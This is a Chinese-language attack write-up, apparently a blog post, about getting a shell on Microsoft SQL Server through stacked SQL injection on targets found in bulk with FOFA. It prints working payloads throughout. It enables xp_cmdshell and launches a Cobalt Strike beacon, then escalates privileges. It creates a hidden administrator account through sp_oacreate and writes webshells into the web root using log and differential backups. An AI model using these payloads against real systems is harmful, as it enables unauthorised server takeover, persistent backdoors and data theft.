一次堆疊注入拿shell的總結
本來對堆疊注入沒啥了解,這次正巧碰到mssql的堆疊注入,正好加強一下對堆疊注入的理解。
堆疊注入
因為在sql查詢語句中, 分號“;”代表查詢語句的結束。
所以在執行sql語句結尾分號的后面,再加一條sql語句,就造成了堆疊注入。
這種情況很像聯合查詢,他們的區別就在于聯合查詢執行的語句是有限的,只能用來執行查詢語句,而堆疊注入可以執行任意語句。
不會審計php代碼,這里就不貼sql語句的源碼了。
下面是滲透流程
先fofa批量找一下目標

前臺的頁面 首先懟一波弱口令

其實有幾個是可以弱口令直接進后臺的,但是后臺沒有任何的getshell點

那就只能在后臺的登錄窗口試一試有沒有注入了,抓包測試一下

發現有注入點,直接上sqlmap一把梭
直接出了mssql 數據庫 而且是堆疊注入
這里想直接 —os-shell,想起來堆疊注入后面的語句是沒有回顯的,再換個思路。

ping 下dnslog 看看是否可以直接執行命令
看來是可以執行命令的

再換個思路,嘗試用xp_cmdshell
手工打開xp_cmdshell ,發現函數沒有被禁用 ,可以執行命令
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
嘗試直接注入cs的powershell上線
好家伙,直接上線 ,看來函數沒有被禁用
EXEC master..xp_cmdshell’免殺powershell命令’

甜土豆提權到system

連xp_cmdshell命令都沒有禁用,想來也不會有什么殺軟。
首先看了一下進程,emmm 那么多powershell進程……沒有啥玩的必要了。
可以嘗試溯源一波。

也沒有內網,收工。

總結
這里這么順利是因為沒有殺軟,命令也都沒有攔截禁用,
下面說一下如果xp_cmdshell如果被禁用該怎么辦。
1. sp_configure函數
開啟sp_configure函數的命令
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
執行系統命令 注意沒有回顯
下面的命令添加一個影子用戶并加入管理員組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add'; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
還有其他的函數,這里就不一一列舉了。
很多情況上面兩個函數并不能執行(存在殺軟),mssql數據庫可以用一下兩個方法
2.log備份寫shell
前提條件:
1.數據庫存在注入
2.用戶具有讀寫權限,一般至少DBO權限
3.有網站的具體路徑
4.站庫不分離
而且這種方法備份出的馬子體積很小,備份成功的可能性很大。
步驟:
1.修改數據庫為還原模式(恢復模式):
;alter database 庫名 set RECOVERY FULL –-
3.建表和字段
;create table orange(a image)--
3.備份數據庫
;backup log 數據庫名 to disk = ‘c:\www\0r@nge1.bak’ with init –
4.往表中寫入一句話
;insert into orange(a) values (0x...)-- //值要進行hex進制轉換下
5.利用log備份到web的物理路徑
;backup log 數據庫名 to disk = 'c:\www\0r@nge2.php' with init--
6.刪除表
;Drop table orange--
差異備份寫shell
概念:備份自上一次完全備份之后有變化的數據。差異備份過程中,只備份有標記的那些選中的文件和文件夾。它不清除標記,也即備份后不標記為已備份文件。換言之,不清除存檔屬性。
用人話說就是:第二次備份的時候,與上一次完全備份的時候作對比,把不同的內容備份下來,所以只要插入我們的一句話木馬,再備份一下,一句話就會被寫到數據庫中。
條件:
- 有網站具體路徑
- 有可寫權限(dbo權限以上)
- 站庫不分離
1.備份數據庫
;backup database 數據庫名 to disk = 'C:\www\\...' with init --
2.創建表格
%';create table orange(a image) --
3.寫入webshell
%';insert into orange(a) values (0xxxxx) --
4.進行差異備份
%';backup log 數據庫名 to disk = 'C:\www\orange.asp' WITH DIFFERENTIAL,FORMAT;--
5.刪除表
;Drop table orange--
這些都是理論,實戰中可能被各種過濾,還需要修改payload進行具體繞過。